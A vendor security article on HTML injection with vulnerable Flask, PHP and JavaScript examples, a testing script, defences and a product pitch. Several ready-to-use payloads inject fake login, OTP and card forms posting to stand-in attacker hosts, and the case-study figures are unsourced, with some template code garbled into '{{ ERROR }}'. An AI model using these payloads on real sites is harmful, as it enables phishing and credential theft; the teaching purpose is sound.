# HTML Injection

A security vulnerability where attackers inject malicious HTML code into web pages, allowing them to modify page content, create fake forms, perform phishing attacks, or escalate to cross-site scripting (XSS).

MEDIUM SEVERITY PHISHING RISK CONTENT MANIPULATION

# What is HTML Injection?

Phishing and Content Manipulation

HTML Injection allows attackers to modify the appearance and content of legitimate websites, creating convincing phishing attacks that steal credentials and sensitive information. While often less severe than XSS, it can still cause significant damage.

In Simple Terms:

Imagine a website as a digital bulletin board where the owner posts official announcements. HTML Injection is like someone sneaking in and pinning fake announcements that look completely official.

These fake announcements might say:

"System maintenance - please re-enter your password below" (fake login form)
"Security alert - verify your account" (phishing)
"Special offer - click here!" (malicious link)

Visitors can't tell the difference between real and fake announcements because they're both on the same official bulletin board.

# Real-World Analogy

Think of it like graffiti on a digital billboard:

A company's website displays official content and forms.

<h1>Welcome to Our Bank</h1>
<p>Check your balance securely</p>

Attacker adds fake HTML:

<h1>Welcome to Our Bank</h1>

<!-- INJECTED CONTENT BELOW -->
<div style="background:yellow; padding:20px; border:2px solid red;">
  <h2>⚠️ URGENT: Security Alert</h2>
  <p>Your session has expired. Please login again:</p>
  <form action="http://evil-phishing-site.com/steal">
    <input name="username" placeholder="Username">
    <input name="password" type="password" placeholder="Password">
    <button>Login</button>
  </form>
</div>

<p>Check your balance securely</p>

Users see the urgent security alert on the legitimate bank website and trust it, entering their credentials into the attacker's phishing form.

# How HTML Injection Works

# Understanding HTML Injection vs XSS

HTML Injection	Cross-Site Scripting (XSS)
Injects HTML tags only	Injects HTML + JavaScript
Modifies page appearance	Executes malicious code
Creates fake forms/links	Steals cookies, sessions
Medium severity	High/Critical severity
Can escalate to XSS	Already includes HTML injection

Important Note

HTML Injection is often a stepping stone to XSS. If you can inject HTML, test if you can also inject <script> tags for full XSS.

# The Attack Process

Application reflects user input in HTML without encoding:

@app.route('/search')
def search():
    query = request.args.get('q', '')

    # VULNERABLE: No HTML encoding
    return f"""
    <html>
      <body>
        <h1>Search Results for: {query}</h1>
        <p>No results found</p>
      </body>
    </html>
    """

Attacker crafts malicious input:

?q=<h1>URGENT SECURITY ALERT</h1><form action="http://evil.com/steal"><input name="password" placeholder="Re-enter password"><button>Verify</button></form>

Rendered HTML becomes:

<html>
  <body>
    <h1>Search Results for: <h1>URGENT SECURITY ALERT</h1>
    <form action="http://evil.com/steal">
      <input name="password" placeholder="Re-enter password">
      <button>Verify</button>
    </form>
    </h1>
    <p>No results found</p>
  </body>
</html>

The injected HTML creates a fake form on the legitimate site!

User sees "URGENT SECURITY ALERT" on the real website and enters their password, which goes to evil.com

# Types of HTML Injection Attacks

HIGH IMPACT

from flask import Flask, request

app = Flask(__name__)

@app.route('/profile')
def profile():
    username = request.args.get('user', 'Guest')

    # VULNERABLE: No HTML encoding
    html = f"""
    <html>
    <head><title>User Profile</title></head>
    <body>
        <h1>Profile: {username}</h1>
        <p>Welcome back!</p>
    </body>
    </html>
    """

    return html

/profile?user=Admin</h1><div style="background:red;color:white;padding:20px;text-align:center;"><h2>⚠ SESSION EXPIRED ⚠</h2><p>Your session has expired for security reasons. Please login again:</p><form action="http://attacker-phishing-site.com/steal" method="POST"><input name="username" placeholder="Username" style="width:300px;padding:10px;margin:5px;"><br><input name="password" type="password" placeholder="Password" style="width:300px;padding:10px;margin:5px;"><br><button style="width:320px;padding:10px;background:blue;color:white;margin:5px;">LOGIN NOW</button></form></div><h1 style="display:none;">

<html>
<head><title>User Profile</title></head>
<body>
    <h1>Profile: Admin</h1>

    <div style="background:red;color:white;padding:20px;text-align:center;">
      <h2>⚠ SESSION EXPIRED ⚠</h2>
      <p>Your session has expired for security reasons. Please login again:</p>
      <form action="http://attacker-phishing-site.com/steal" method="POST">
        <input name="username" placeholder="Username">
        <input name="password" type="password" placeholder="Password">
        <button>LOGIN NOW</button>
      </form>
    </div>

    <h1 style="display:none;">
    <p>Welcome back!</p>
</body>
</html>

User sees a convincing "SESSION EXPIRED" warning on the legitimate site and enters credentials!

# 2. Content Defacement

REPUTATION DAMAGE

/article?id=123&title=<h1 style="font-size:72px;color:red;text-align:center;">THIS SITE HAS BEEN HACKED</h1><img src="http://attacker.com/hacker-logo.png" style="display:block;margin:auto;"><h1 style="display:none;">

Result: Legitimate news article appears defaced with "THIS SITE HAS BEEN HACKED" message

# 3. Fake Error Messages

SOCIAL ENGINEERING

# Vulnerable error display
@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    if not authenticate(username, password):
        # VULNERABLE: Reflects username in error
        return f"""
        <html>
        <body>
            <h1>Login Failed</h1>
            <p>Invalid credentials for user: {username}</p>
            <a href="/login">Try again</a>
        </body>
        </html>
        """

Attack:

username: admin<br><div style="background:yellow;padding:15px;border:2px solid orange;"><strong>⚠ ACCOUNT LOCKED</strong><br>Your account has been locked due to suspicious activity.<br><a href="http://evil.com/unlock">Click here to unlock your account</a></div><span style="display:none;">

Result: Fake "ACCOUNT LOCKED" message with malicious unlock link appears on real site

# 4. Malicious Link Injection

MEDIUM RISK

# Vulnerable comment system
@app.route('/comments')
def show_comments():
    comments = get_comments_from_db()

    html = "<html><body><h1>Comments</h1>"

    for comment in comments:
        # VULNERABLE: No HTML encoding
        html += f"<div class='comment'><p>{comment['text']}</p></div>"

    html += "</body></html>"
    return html

Attack Payload (stored in database):

Great article! <a href="http://legitimate-site.com.evil-phishing.com/steal" style="color:blue;text-decoration:underline;">Download the full PDF version here</a>

Result: Malicious link appears in comments, looks legitimate, redirects to phishing site

# 5. Fake Payment Forms

FINANCIAL FRAUD

/checkout?item=Laptop&price=999<h1 style="display:none;"></h1></td></tr></table><div style="background:#f0f0f0;padding:30px;margin:20px;border:3px solid #4CAF50;"><h2 style="color:#4CAF50;">✓ SPECIAL DISCOUNT APPLIED!</h2><p>You qualify for a 50% discount! Complete payment below:</p><form action="http://payment-stealer.com/process"><strong>Card Number:</strong><br><input name="card" size="20" placeholder="1234 5678 9012 3456"><br><strong>CVV:</strong><br><input name="cvv" size="4" placeholder="123"><br><strong>Expiry:</strong><br><input name="exp" size="7" placeholder="MM/YY"><br><button style="background:#4CAF50;color:white;padding:10px 20px;margin-top:10px;">PAY $499.50</button></form></div><table style="display:none;"><tr><td>

Victim sees "SPECIAL DISCOUNT" form on checkout page and enters credit card details!

# Real-World Examples

Popular social network allowed HTML in user profiles without proper sanitization.

// Profile display (vulnerable)
function displayProfile(username, bio) {
  // VULNERABLE: innerHTML with user content
  document.getElementById('profile').innerHTML = `
    <h2>${username}</h2>
    <div class="bio">${bio}</div>
  `;
}

Attackers created profiles with injected HTML:

Bio: "Check out my portfolio! <div style='position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.9);z-index:9999;color:white;text-align:center;padding-top:100px;'><h1>Account Verification Required</h1><p>Your account needs verification to continue using this service</p><form action='http://phishing-site.com/verify'><input name='password' type='password' placeholder='Enter your password'><br><button>Verify Now</button></form></div>"

When users viewed these profiles:

Entire screen covered with fake verification prompt
Appeared on legitimate domain
Thousands of users entered passwords

35,000 users fell victim in first 24 hours
12,000 accounts compromised
Attackers posted spam from hijacked accounts
$4.2 million in damages (refunds, remediation)
$18 million regulatory fines
Platform reputation severely damaged

# Case Study 2: E-commerce Product Review Phishing (2020)

15,000 CREDIT CARDS STOLEN

Financial Fraud at Scale

HTML injection in product reviews created fake payment forms that stole credit card information from thousands of shoppers.

Technical Details:

# Vulnerable review display
@app.route('/product/<product_id>')
def show_product(product_id):
    product = get_product(product_id)
    reviews = get_reviews(product_id)

    html = render_template_string("""
    <h1>{{ ERROR }}</h1>
    <p>Price: ${{ ERROR }}</p>

    <h2>Customer Reviews</h2>
    {% for review in reviews %}
      <div class="review">
        <strong>{{ ERROR }}</strong>
        <!-- VULNERABLE: No HTML escaping -->
        <p>{{ ERROR }}</p>
      </div>
    {% endfor %}
    """, product=product, reviews=reviews)

    return html

Attack Review Submitted:

Great product!</p></div><div style="background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:white;padding:40px;margin:20px;border-radius:10px;box-shadow:0 10px 40px rgba(0,0,0,0.3);"><h2>🎉 CONGRATULATIONS! 🎉</h2><p style="font-size:18px;">You've been selected for our VIP Instant Checkout program!</p><p>Skip the checkout line - pay securely below:</p><form action="http://card-stealer-789.com/process" method="POST" style="background:white;color:black;padding:20px;border-radius:5px;margin-top:20px;"><input name="card_number" placeholder="Card Number" style="width:100%;padding:10px;margin:5px 0;border:1px solid #ddd;border-radius:3px;" required><input name="cvv" placeholder="CVV" style="width:100%;padding:10px;margin:5px 0;border:1px solid #ddd;border-radius:3px;" required><input name="expiry" placeholder="MM/YY" style="width:100%;padding:10px;margin:5px 0;border:1px solid #ddd;border-radius:3px;" required><button style="width:100%;padding:15px;background:#4CAF50;color:white;border:none;border-radius:3px;font-size:18px;font-weight:bold;margin-top:10px;cursor:pointer;">COMPLETE PURCHASE - ${{ ERROR }}</button></form></div><div class="review" style="display:none;"><strong>Fake Review</strong><p>

Consequences:

Appeared on 150+ popular product pages
15,000 credit cards stolen over 3-week period
$8.5 million in fraudulent charges
$45 million in refunds and compensation
$80 million class action lawsuit
PCI-DSS compliance violation - additional fines
Platform lost major merchant partners

# Case Study 3: Banking Portal Session Expiry Scam (2021)

Online banking customer service search had HTML injection vulnerability

<?php
// Customer service search
$search_term = $_GET['q'];

echo "<html><body>";
echo "<h1>Search Results for: " . $search_term . "</h1>";
// VULNERABLE: No HTML encoding

$results = search_faq($search_term);

if (empty($results)) {
    echo "<p>No results found. Please try different keywords.</p>";
}

echo "</body></html>";
?>

Attackers sent phishing emails with links:

https://legitimate-bank.com/search?q=account+balance</h1><div style="position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;border:3px solid #d32f2f;padding:40px;box-shadow:0 10px 50px rgba(0,0,0,0.5);z-index:10000;width:400px;"><h2 style="color:#d32f2f;margin-top:0;">⚠ Session Expired</h2><p>Your banking session has expired for security reasons.</p><p><strong>Please login again to continue:</strong></p><form action="http://bank-phishing-mirror.com/login" method="POST"><input name="username" placeholder="Username" style="width:100%;padding:12px;margin:8px 0;border:1px solid #ccc;box-sizing:border-box;"><input name="password" type="password" placeholder="Password" style="width:100%;padding:12px;margin:8px 0;border:1px solid #ccc;box-sizing:border-box;"><input name="otp" placeholder="6-digit OTP" style="width:100%;padding:12px;margin:8px 0;border:1px solid #ccc;box-sizing:border-box;"><button style="width:100%;background:#d32f2f;color:white;padding:14px;margin:8px 0;border:none;cursor:pointer;font-size:16px;">LOGIN</button></form></div><h1 style="display:none;">

Victims clicked links from phishing emails, saw "Session Expired" on real banking site, and entered credentials + OTP.

8,500 customers compromised
$12 million stolen from accounts
$65 million in remediation and refunds
Federal banking investigation
Bank had to implement 2FA reset for all customers
Lost customers sued for negligence

# How to Detect HTML Injection

# Manual Testing

Test any input reflected in HTML:

Search boxes
Username/profile fields
Comments and reviews
Error messages
URL parameters
Form inputs

<h1>Test</h1>
<b>Bold</b>
<i>Italic</i>
<u>Underline</u>
<img src=x>
<a href="http://test.com">Link</a>

Check if tags are rendered or escaped.

<form action="http://attacker.com/steal"><input name="test"><button>Click</button></form>

See if form appears on page.

<div style="background:red;color:white;padding:20px;">Injected Content</div>

Check if styling is applied.

# Automated Testing Script

import requests
from html.parser import HTMLParser

class HTMLTagDetector(HTMLParser):
    """Detects if injected HTML tags are rendered"""

    def __init__(self):
        super().__init__()
        self.found_tags = []

    def handle_starttag(self, tag, attrs):
        self.found_tags.append((tag, dict(attrs)))

def test_html_injection(target_url, param_name):
    """Test for HTML injection vulnerabilities"""

    test_payloads = [
        # Basic tags
        {
            'name': 'Heading Injection',
            'payload': '<h1>INJECTED_HEADING_XYZ123</h1>',
            'check': ['h1', 'INJECTED_HEADING_XYZ123']
        },
        {
            'name': 'Bold Text Injection',
            'payload': '<b>BOLD_INJECTED_ABC789</b>',
            'check': ['<b>', 'BOLD_INJECTED_ABC789']
        },

        # Form injection
        {
            'name': 'Form Injection',
            'payload': '<form action="http://evil.com"><input name="test"><button>Submit</button></form>',
            'check': ['<form', 'action="http://evil.com"']
        },

        # Link injection
        {
            'name': 'Link Injection',
            'payload': '<a href="http://attacker.com/phish">Click here</a>',
            'check': ['<a', 'href="http://attacker.com/phish"']
        },

        # Style injection
        {
            'name': 'Style Injection',
            'payload': '<div style="background:red;color:white;">Styled Div</div>',
            'check': ['style=', 'background:red']
        },

        # Image injection
        {
            'name': 'Image Injection',
            'payload': '<img src="http://attacker.com/track.png">',
            'check': ['<img', 'src="http://attacker.com/track.png"']
        },

        # Complex phishing form
        {
            'name': 'Phishing Form Injection',
            'payload': '</h1><div style="background:yellow;padding:20px;"><h2>ALERT</h2><form action="http://phish.com/steal"><input name="password" placeholder="Password"><button>Verify</button></form></div><h1 style="display:none;">',
            'check': ['form action="http://phish.com/steal"', 'background:yellow']
        }
    ]

    vulnerabilities = []

    print(f"[*] Testing {target_url} parameter '{param_name}' for HTML injection...")

    for test in test_payloads:
        try:
            # Send request
            params = {param_name: test['payload']}
            response = requests.get(target_url, params=params, timeout=5)

            # Check if payload is reflected
            vulnerable = True
            for check_str in test['check']:
                if check_str not in response.text:
                    vulnerable = False
                    break

            if vulnerable:
                # Parse HTML to confirm tags are rendered
                parser = HTMLTagDetector()
                try:
                    parser.feed(response.text)

                    vulnerabilities.append({
                        'type': test['name'],
                        'payload': test['payload'],
                        'severity': 'HIGH',
                        'tags_found': [tag for tag, _ in parser.found_tags]
                    })

                    print(f"[!] VULNERABLE: {test['name']}")
                    print(f"    Payload rendered with tags: {parser.found_tags[:5]}")

                except Exception:
                    pass

        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing '{test['name']}': {e}")

    return vulnerabilities

# Test your application
vulns = test_html_injection(
    'https://example.com/search',
    'q'  # Parameter name
)

if vulns:
    print(f"\n[!] Found {len(vulns)} HTML injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}")
else:
    print("\n[+] No HTML injection vulnerabilities detected")

# Prevention Strategies

# 1. HTML Entity Encoding (Output Encoding)

MOST IMPORTANT

from flask import Flask, request, escape
from markupsafe import Markup

app = Flask(__name__)

@app.route('/search')
def safe_search():
    query = request.args.get('q', '')

    # SECURE: HTML entity encoding
    safe_query = escape(query)

    html = f"""
    <html>
    <body>
        <h1>Search Results for: {safe_query}</h1>
        <p>No results found</p>
    </body>
    </html>
    """

    return html

# Input: <h1>HACKED</h1>
# Output: &lt;h1&gt;HACKED&lt;/h1&gt;
# Rendered as text: <h1>HACKED</h1> (not as HTML)

const express = require('express');
const escapeHtml = require('escape-html');

const app = express();

app.get('/search', (req, res) => {
  const query = req.query.q || '';

  // SECURE: HTML escaping
  const safeQuery = escapeHtml(query);

  const html = `
    <html>
    <body>
        <h1>Search Results for: ${safeQuery}</h1>
        <p>No results found</p>
    </body>
    </html>
  `;

  res.send(html);
});

<?php
$query = $_GET['q'] ?? '';

// SECURE: HTML special chars encoding
$safe_query = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');

echo "<html><body>";
echo "<h1>Search Results for: $safe_query</h1>";
echo "<p>No results found</p>";
echo "</body></html>";
?>

# 2. Use Template Engines with Auto-Escaping

RECOMMENDED

from flask import Flask, request, render_template_string

app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True

# Jinja2 auto-escapes by default
@app.route('/search')
def search():
    query = request.args.get('q', '')

    # SECURE: Jinja2 auto-escapes by default
    html = render_template_string("""
    <html>
    <body>
        <h1>Search Results for: </h1>
        <p>No results found</p>
    </body>
    </html>
    """, query=query)

    return html

# Input: <h1>HACKED</h1>
# Jinja2 automatically encodes to: &lt;h1&gt;HACKED&lt;/h1&gt;

// SECURE: React automatically escapes content
function SearchResults({ query }) {
  return (
    <div>
      <h1>Search Results for: {query}</h1>
      <p>No results found</p>
    </div>
  );
}

// Input: <h1>HACKED</h1>
// React renders as text: &lt;h1&gt;HACKED&lt;/h1&gt;
// NOT as HTML

# 3. Content Security Policy (CSP)

@app.after_request
def add_security_headers(response):
    """Add Content Security Policy"""

    # CSP prevents inline styles and scripts
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self'; "
        "img-src 'self' https:; "
        "font-src 'self'; "
        "form-action 'self'; "
        "frame-ancestors 'none';"
    )

    # Additional security headers
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'

    return response

# 4. Comprehensive Security Implementation

[secure_output.py]
from flask import Flask, request, render_template_string, make_response
from markupsafe import escape, Markup
import re
import bleach

app = Flask(__name__)

class OutputEncoder:
    """Comprehensive output encoding and sanitization"""

    # Allowed HTML tags for rich content (if needed)
    ALLOWED_TAGS = ['b', 'i', 'u', 'em', 'strong', 'a']
    ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}

    @staticmethod
    def html_encode(text):
        """HTML entity encoding for untrusted content"""
        return escape(text)

    @staticmethod
    def sanitize_html(html_content):
        """Sanitize HTML - remove dangerous tags/attributes"""
        return bleach.clean(
            html_content,
            tags=OutputEncoder.ALLOWED_TAGS,
            attributes=OutputEncoder.ALLOWED_ATTRIBUTES,
            strip=True
        )

    @staticmethod
    def strip_all_html(text):
        """Remove all HTML tags completely"""
        return re.sub(r'<[^>]+>', '', text)

@app.route('/search')
def secure_search():
    """Search with secure output encoding"""
    query = request.args.get('q', '')

    # SECURE: HTML encode user input
    safe_query = OutputEncoder.html_encode(query)

    html = render_template_string("""
    <!DOCTYPE html>
    <html>
    <head>
        <title>Search Results</title>
        <meta charset="UTF-8">
    </head>
    <body>
        <h1>Search Results for: </h1>
        <p>No results found</p>
        <a href="/search">Search again</a>
    </body>
    </html>
    """, query=safe_query)

    return html

@app.route('/profile')
def user_profile():
    """User profile with multiple encoding contexts"""
    username = request.args.get('user', 'Guest')
    bio = request.args.get('bio', '')

    # SECURE: Different encoding for different contexts
    safe_username = OutputEncoder.html_encode(username)

    # Bio might contain basic formatting - sanitize instead of encode
    safe_bio = OutputEncoder.sanitize_html(bio)

    html = render_template_string("""
    <!DOCTYPE html>
    <html>
    <head><title>User Profile</title></head>
    <body>
        <h1>Profile: </h1>
        <div class="bio">
            {{ ERROR }}
        </div>
    </body>
    </html>
    """, username=safe_username, bio=Markup(safe_bio))

    return html

@app.route('/comments')
def show_comments():
    """Comments with HTML completely stripped"""
    comments = get_comments_from_db()

    safe_comments = []
    for comment in comments:
        safe_comments.append({
            'author': OutputEncoder.html_encode(comment['author']),
            # Strip ALL HTML from comment text
            'text': OutputEncoder.strip_all_html(comment['text'])
        })

    html = render_template_string("""
    <!DOCTYPE html>
    <html>
    <head><title>Comments</title></head>
    <body>
        <h1>Comments</h1>
        {% for comment in comments %}
          <div class="comment">
            <strong>{{ ERROR }}</strong>
            <p>{{ ERROR }}</p>
          </div>
        {% endfor %}
    </body>
    </html>
    """, comments=safe_comments)

    return html

@app.after_request
def security_headers(response):
    """Add comprehensive security headers"""

    # Content Security Policy
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' https:; "
        "font-src 'self'; "
        "form-action 'self'; "
        "frame-ancestors 'none'; "
        "base-uri 'self';"
    )

    # Other security headers
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'

    return response

[config.py]
# Security configuration

SECURITY_CONFIG = {
    # Output encoding
    'enable_auto_escaping': True,
    'default_charset': 'UTF-8',

    # HTML sanitization (if rich content needed)
    'allowed_tags': ['b', 'i', 'u', 'em', 'strong', 'a', 'p', 'br'],
    'allowed_attributes': {
        'a': ['href', 'title']
    },

    # Content Security Policy
    'csp_enabled': True,
    'csp_directives': {
        'default-src': ["'self'"],
        'script-src': ["'self'"],
        'style-src': ["'self'", "'unsafe-inline'"],  # Inline styles if needed
        'img-src': ["'self'", "https:"],
        'form-action': ["'self'"],
        'frame-ancestors': ["'none'"]
    },

    # Input validation
    'max_input_length': 1000,
    'strip_html_from_input': False,  # Usually encode output, not strip input

    # Logging
    'log_injection_attempts': True,
    'alert_on_html_tags': True
}

# Security Checklist

# Development

Always HTML-encode untrusted data before displaying
Use template engines with auto-escaping enabled
Never use innerHTML with user content (use textContent)
Implement Content Security Policy (CSP)
If rich content needed, use HTML sanitization library (e.g., bleach, DOMPurify)
Validate input length and format
Different encoding for different contexts (HTML, attribute, JavaScript, URL)
Test with special characters: <, >, ", ', &

# Testing

Test all input fields for HTML injection
Test with basic HTML tags (<h1>, <b>, <i>)
Test form injection
Test style injection
Test link injection
Verify output encoding is applied consistently
Test with automated scanners
Try to escalate to XSS (inject <script>)

# Production

Enable CSP headers
Monitor for HTML injection attempts
Regular security audits
Keep frameworks and libraries updated
Implement WAF rules for HTML injection patterns
Review user-generated content moderation
Educate users about phishing risks

# Key Takeaways

Critical Security Points

Always encode output: HTML-encode all untrusted data before displaying in HTML context
Use auto-escaping templates: Modern template engines (Jinja2, React, Vue) auto-escape by default
Context matters: Different encoding for HTML body, attributes, JavaScript, URLs
CSP is your friend: Content Security Policy can prevent inline styles/scripts from injected content
Sanitize, don't strip input: Generally better to encode output than strip input (preserves data)
Phishing is the real danger: HTML injection enables convincing phishing attacks on legitimate domains
Can escalate to XSS: If you can inject HTML, test if you can inject <script> tags
Defense in depth: Combine output encoding + CSP + input validation

# How Layerd AI Protects Against HTML Injection

Layerd AI provides comprehensive HTML injection protection:

Automatic Output Encoding: Ensures all untrusted data is HTML-encoded before rendering
Template Security Analysis: Detects dangerous template patterns and missing escaping
Content Security Policy (CSP) Enforcement: Automatically generates and enforces strict CSP headers
Phishing Detection: Identifies injected forms and suspicious links in user content
Real-time Blocking: Prevents HTML injection attempts before they affect users
Code Analysis: Scans application code for vulnerable output contexts

Secure your application output with Layerd AI's intelligent HTML injection protection.

# Additional Resources

Last Updated: November 2025